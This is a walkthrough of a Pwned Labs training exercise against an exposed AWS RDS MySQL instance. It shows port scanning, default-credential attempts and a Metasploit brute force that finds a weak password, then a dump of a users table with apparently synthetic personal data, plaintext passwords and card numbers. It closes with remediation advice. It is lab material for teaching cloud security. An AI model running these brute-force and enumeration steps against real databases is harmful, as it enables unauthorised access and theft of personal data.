10 minutes
Pnwed Labs - Pillage Exposed RDS Instances
Pwned Labs - Pillage Exposed RDS Instances
Scenario
In the backdrop of rising cybersecurity threats, with chatter on Telegram channels hinting at data dumps and Pastebin snippets exposing snippets of configurations, Huge Logistics is taking no chances. They’ve enlisted your team’s expertise to rigorously assess their cloud infrastructure. Armed with a list of IP addresses and endpoints, a lead emerged — an RDS endpoint: exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com
. Your mission? Dive deep into this endpoint’s security, and identify any security issues before threat actors do.
Learning Outcomes
- Familiarity with Nmap and the mysql-brute script
- Familiarity with the MySQL cli
- An awareness of how this could be remediated and detected
Real World Context
Amazon Relational Database Service (RDS) is a web service that allows for easy set up, operation, and scaling of relational databases in the cloud. Administration tasks such as hardware provisioning, database setup, patching, and backups are handled by AWS, allowing us to spend more time at the application level.
Amazon RDS supports several database instances including:
- Amazon Aurora (port 3306)
- PostgreSQL (5432)
- MySQL (port 3306)
- MariaDB (port 3306)
- Oracle Database (port 1521)
- SQL Server (port 1433)
Brute force attacks on exposed infrastructure are very common, and exposed Amazon RDS instances are no exception. Many times databases can contain highly sensitive data, so they are an attractive target. Although database default account lockout policies should prevent many noisy password brute force attacks, it may not be as effective against a more careful attacker that uses multiple IP addresses and attempts a smaller number of common usernames and passwords over a longer duration. Aside from brute force attacks, exposed infrastructure are also open to denial of service (DoS) attacks. Ultimately it’s best no to rely on a single layer of defense (application layer security) to protect sensitive data.
It’s worth noting that although in this scenario an RDS endpoint was provided, that resolves to a dynamic RDS IP address from the EC2 address pool. We could just as well connect to the IP address in this lab.
Attack
We know that we are looking for a database, so we will run rustscan
limiting the ports to only those that are common database ports and we find that Port 3306 is open and running MySQL
❯ rustscan -a exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com -p 1433,1521,3306,5432 -- -A
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
I scanned ports so fast, even my computer was surprised.
[~] The config file is expected to be at "/home/n3ph0s/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 16.171.94.68:1433
Open 16.171.94.68:5432
Open 16.171.94.68:1521
Open 16.171.94.68:3306
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -A" on ip 16.171.94.68
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-27 13:32 PST
Scanned at 2024-06-27 13:32:11 PST for 293s
PORT STATE SERVICE REASON VERSION
1433/tcp open ms-sql-s? syn-ack
1521/tcp open oracle? syn-ack
3306/tcp open mysql syn-ack MySQL 8.0.32
| mysql-info:
| Protocol: 10
| Version: 8.0.32
| Thread ID: 521105
| Capabilities flags: 65535
| Some Capabilities: InteractiveClient, Support41Auth, DontAllowDatabaseTableColumn, Speaks41ProtocolOld, LongPassword, SupportsTransactions, IgnoreSigpipes, Speaks41ProtocolNew, SupportsCompression, ODBCClient, SwitchToSSLAfterHandshake, LongColumnFlag, SupportsLoadDataLocal, IgnoreSpaceBeforeParenthesis, ConnectWithDatabase, FoundRows, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins
| Status: Autocommit
| Salt: \x08\x01*V\x03k\x0FzD\x11'\x05:bPB\z\x11\x13
|_ Auth Plugin Name: mysql_native_password
| ssl-cert: Subject: commonName=exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com/organizationName=Amazon.com/stateOrProvinceName=Washington/countryName=US/localityName=Seattle/organizationalUnitName=RDS
| Subject Alternative Name: DNS:exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com
| Issuer: commonName=Amazon RDS eu-north-1 Subordinate CA ECC384 G1.A.5/organizationName=Amazon Web Services, Inc./stateOrProvinceName=WA/countryName=US/organizationalUnitName=Amazon RDS/localityName=Seattle
| Public Key type: ec
| Public Key bits: 384
| Signature Algorithm: ecdsa-with-SHA384
| Not valid before: 2024-04-10T04:17:14
| Not valid after: 2025-04-10T04:17:14
| MD5: 8487:d764:a9ae:71de:c512:e6ef:f665:d0b2
| SHA-1: f382:5d75:f86b:4152:3391:ef34:1de2:d558:a932:36c1
| -----BEGIN CERTIFICATE-----
| MIIDATCCAoagAwIBAgIRAM8/a3UpYAtV8nRDFaBUnVcwCgYIKoZIzj0EAwMwgaIx
| CzAJBgNVBAYTAlVTMSIwIAYDVQQKDBlBbWF6b24gV2ViIFNlcnZpY2VzLCBJbmMu
| MRMwEQYDVQQLDApBbWF6b24gUkRTMQswCQYDVQQIDAJXQTE7MDkGA1UEAwwyQW1h
| em9uIFJEUyBldS1ub3J0aC0xIFN1Ym9yZGluYXRlIENBIEVDQzM4NCBHMS5BLjUx
| EDAOBgNVBAcMB1NlYXR0bGUwHhcNMjQwNDEwMDQxNzE0WhcNMjUwNDEwMDQxNzE0
| WjCBkzE6MDgGA1UEAwwxZXhwb3NlZC5jdzlvdzFsbHBmdnouZXUtbm9ydGgtMS5y
| ZHMuYW1hem9uYXdzLmNvbTEMMAoGA1UECwwDUkRTMRMwEQYDVQQKDApBbWF6b24u
| Y29tMRAwDgYDVQQHDAdTZWF0dGxlMRMwEQYDVQQIDApXYXNoaW5ndG9uMQswCQYD
| VQQGEwJVUzB2MBAGByqGSM49AgEGBSuBBAAiA2IABB6MhqNvpqjjWWwsxXAif9QN
| DtRvTFXD1RbQISltKYOL5NSTUwvlfI4s3dDLxaLHIzBIXcfR6QQ9W8z6vf23R0rX
| QZ3xcZKPbKLDW22Qj5v4dy0NrxPAhNZrXchhif7RpKOBjDCBiTA8BgNVHREENTAz
| gjFleHBvc2VkLmN3OW93MWxscGZ2ei5ldS1ub3J0aC0xLnJkcy5hbWF6b25hd3Mu
| Y29tMAkGA1UdEwQCMAAwHwYDVR0jBBgwFoAU0XeoKj2EpfNPeRE7PSyHotXu/Rww
| HQYDVR0OBBYEFI+po9dcNXv0cdRJHPL2XoSYNnOIMAoGCCqGSM49BAMDA2kAMGYC
| MQCzjouq9Uf2UKp9uOpQmaH+VSJH6NTkacGan+FVk4KBSEq7ORb3CxjqKZuSMR5q
| a/0CMQCVXedMBszw3B/aV76XWnrciWGlOV8dWNzjHAZJhqnxA/p+kF9lN/5wvtxd
| OP1p6B8=
|_-----END CERTIFICATE-----
5432/tcp open postgresql? syn-ack
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 292.67 seconds
We can see from the above output that it is publicly accessible and we attempt to login using root:root
and root
with no password
❯ mysql -h exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com -u root -proot
ERROR 1045 (28000): Access denied for user 'root'@'37.19.201.131' (using password: YES)
❯ mysql -h exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com -u root
ERROR 1045 (28000): Access denied for user 'root'@'37.19.201.131' (using password: NO)
We can look for NMAP Scripts that we can use and we filter by those with mysql
and we can see a list of them.
❯ ls /usr/share/nmap/scripts | grep -i mysql
.rw-r--r-- 6.7k root 21 Jun 02:27 mysql-audit.nse
.rw-r--r-- 3.0k root 21 Jun 02:27 mysql-brute.nse
.rw-r--r-- 2.9k root 21 Jun 02:27 mysql-databases.nse
.rw-r--r-- 3.3k root 21 Jun 02:27 mysql-dump-hashes.nse
.rw-r--r-- 2.0k root 21 Jun 02:27 mysql-empty-password.nse
.rw-r--r-- 3.4k root 21 Jun 02:27 mysql-enum.nse
.rw-r--r-- 3.5k root 21 Jun 02:27 mysql-info.nse
.rw-r--r-- 3.7k root 21 Jun 02:27 mysql-query.nse
.rw-r--r-- 2.8k root 21 Jun 02:27 mysql-users.nse
.rw-r--r-- 3.3k root 21 Jun 02:27 mysql-variables.nse
.rw-r--r-- 7.0k root 21 Jun 02:27 mysql-vuln-cve2012-2122.nse
We will use the mysql-brute.nse
and we look up the script arguments at https://nmap.org/nsedoc/scripts/mysql-brute.html and then we look at the brute library for the credentials file noting that the file needs to be separated by a `/
We look at the file and we can see that the current separator is :
and there are numerous ways to fix this, but we will do it with VIM and then save the file in our working directory.
Option 1 - NMAP Script (Not working)
The first approach was to use the NMAP Script, but for some reason, this was not working and after some initial troubleshooting, moved onto other approaches that could achieve the same objective.
❯ nmap -Pn -p 3306 --script=mysql-brute --script-args brute.delay=10,brute.mode=creds,brute.credfile=mysql-creds.txt exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-27 14:42 PST
Nmap scan report for exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com (16.171.94.68)
Host is up (0.038s latency).
rDNS record for 16.171.94.68: ec2-16-171-94-68.eu-north-1.compute.amazonaws.com
PORT STATE SERVICE
3306/tcp open mysql
| mysql-brute:
| Accounts: No valid accounts found
|_ Statistics: Performed 0 guesses in 10 seconds, average tps: 0.0
Nmap done: 1 IP address (1 host up) scanned in 10.28 seconds
Option 2 - Metasploit (Worked)
If at first you don’t succeed, find another way and using the auxiliary/scanner/mysql/mysql_login
we have been able to find valid credentials (output pruned for readability)
msf6 auxiliary(scanner/mysql/mysql_login) > run
[+] 16.171.94.68:3306 - 16.171.94.68:3306 - Found remote MySQL version 8.0.32
[!] 16.171.94.68:3306 - No active DB -- Credential data will not be saved!
[-] 16.171.94.68:3306 - 16.171.94.68:3306 - LOGIN FAILED: root: (Incorrect: Access denied for user 'root'@'37.19.201.131' (using password: NO))
[+] 16.171.94.68:3306 - 16.171.94.68:3306 - Success: 'dbuser:123'
[-] 16.171.94.68:3306 - 16.171.94.68:3306 - LOGIN FAILED: root:123qweASD# (Incorrect: Access denied for user 'root'@'37.19.201.131' (using password: YES))
[*] exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com:3306 - Scanned 1 of 1 hosts (100% complete)
[*] exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com:3306 - Bruteforce completed, 1 credential was successful.
[*] exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com:3306 - You can open an MySQL session with these credentials and CreateSession set to true
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/mysql/mysql_login) >
Having found valid credentials, we can login
❯ mysql -h exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com -u dbuser -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 521276
Server version: 8.0.32 Source distribution
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Support MariaDB developers by giving a star at https://github.com/MariaDB/server
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MySQL [(none)]>
After having successfully logging in, the first thing that we want to do is get an understanding of our permissions by looking for any grants.
MySQL [(none)]> show grants for 'dbuser';
+-----------------------------------------------------+
| Grants for dbuser@% |
+-----------------------------------------------------+
| GRANT USAGE ON *.* TO `dbuser`@`%` |
| GRANT SELECT ON `user_info`.`flag` TO `dbuser`@`%` |
| GRANT SELECT ON `user_info`.`users` TO `dbuser`@`%` |
+-----------------------------------------------------+
3 rows in set (0.366 sec)
We have select (read) permissions over the users
and flag
tables in the user_info
database.
MySQL [(none)]> use user_info;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MySQL [user_info]> select * from users;
+--------+---------------+----------------+--------------------------------------+--------------+-----------------+---------------------+
| userId | fname | lname | email | password | ip_address | creditcard |
+--------+---------------+----------------+--------------------------------------+--------------+-----------------+---------------------+
| 1 | Erwin | Eringey | eeringey0@epa.gov | JQ6VoFjGT | 244.218.113.151 | 3551222381964508 |
| 2 | Carolyne | Koppens | ckoppens1@scribd.com | YEclSnT3mZA | 235.196.167.220 | 3565797270077680 |
| 3 | Isa | Tapsell | itapsell2@sbwire.com | Mrz5z7rB8J | 100.112.175.106 | 6761958300756751 |
| 4 | Colette | Wickett | cwickett3@delicious.com | GNKKi5HeKW0 | 228.133.52.127 | 201514087172570 |
| 5 | Irwinn | Hotton | ihotton4@tinypic.com | YdfVC60vLOU | 106.40.168.188 | 3561287714912092 |
| 6 | Sarena | Pinke | spinke5@google.cn | 029g4WGfBS | 159.164.198.255 | 3537202178098610 |
| 7 | Jeddy | Lyptratt | jlyptratt6@umn.edu | Pw8hPPsW | 41.193.246.164 | 6767121419728674965 |
| 8 | Betsey | Matthew | bmatthew7@imageshack.us | RnZabGnRb | 123.2.192.187 | 3584286805742114 |
| 9 | Gilberto | Marioneau | gmarioneau8@rambler.ru | 7kiPucR6jQ | 71.190.225.134 | 5100177821388158 |
| 10 | Barbaraanne | Trulock | btrulock9@salon.com | XAp9Tq9rm4Q6 | 234.176.167.69 | 201928858923385 |
| 11 | Bess | Alliott | balliotta@amazonaws.com | gDrDMI | 174.46.9.155 | 6331108242582523108 |
| 12 | Corinne | Viel | cvielb@wired.com | FzVbvXN | 198.190.169.181 | 30254016332758 |
| 13 | Ber | Tadd | btaddc@businesswire.com | oFSSsGRFettd | 174.160.194.237 | 201990157425199 |
| 14 | Lin | Blayney | lblayneyd@walmart.com | VDtoDz | 12.232.1.7 | 201473089851295 |
| 15 | Kameko | Southcoat | ksouthcoate@pagesperso-orange.fr | 1fMq28 | 205.185.104.201 | 3589099675330950 |
| 16 | Zonnya | Francescuccio | zfrancescucciof@opensource.org | dA4PNtAyN | 55.98.121.182 | 4844163019617016 |
| 17 | Reagan | Dominiak | rdominiakg@netvibes.com | nZAFgn8HdB | 30.25.21.23 | 5602223993754687 |
| 18 | Mala | Jacquemet | mjacquemeth@g.co | ceFQvqDaBlbY | 177.95.206.144 | 490597867959289814 |
| 19 | Valeda | Neighbour | vneighbouri@mlb.com | jxcOQOcgTG | 110.55.85.213 | 6709816262644875 |
| 20 | Rolf | Frango | rfrangoj@shop-pro.jp | Y19IN9Xrk | 117.198.152.27 | 6331100394503481 |
| 21 | Benji | Markel | bmarkelk@yellowpages.com | wzgonZf | 139.159.251.228 | 5126731712507357 |
| 22 | Vladimir | Seaborn | vseabornl@surveymonkey.com | PaHfrsSOU | 120.71.140.119 | 5447338871358390 |
| 23 | Antons | Teers | ateersm@chronoengine.com | Fkc5x0a13DWH | 15.11.230.80 | 3540134552219915 |
| 24 | Kylila | Penquet | kpenquetn@who.int | uw9JY8N6cq | 136.101.18.241 | 5610883887259598657 |
| 25 | Georgine | Tonbye | gtonbyeo@rambler.ru | OmY09LzT | 54.139.176.95 | 56022567085812372 |
< --snip -- >
| 875 | Loren | Bromont | lbromontoa@sciencedaily.com | 63bhmZ0 | 149.221.40.114 | 3542382422088980 |
+--------+---------------+----------------+--------------------------------------+--------------+-----------------+---------------------+
875 rows in set (1.030 sec)
We can see that this contains PII (Personally Identifiable Information) and unencrypted passwords 🤦
PWNED!
Defense
There are a number of failings here and a key one is understanding all the assets that the organisation has, where they are accessible from and who has permissions over them. In this example there is a Database that is publicly exposed which should never be the case. A low-tech, yet powerful exercise is to undertake frequent inventories and also have visibility into what assets are publicly exposed and evaluate if they have a legitimate business reason to be so.
The following is a CLI command to list publicly exposed RDS Instances in AWS
❯ aws --profile rds rds describe-db-instances --query 'DBInstances[*].PubliclyAccessible' --query 'DBInstances[*].DBInstanceIdentifier'
[
"exposed",
"huge-logistics-stock"
]
The other was that the Password was weak and it is strongly recommended and best practice to have a strong password policy as well as ensuring database / table level encryption for sensitive data.
Lastly, enabling of audit logging and pushing these to CloudWatch is recommended.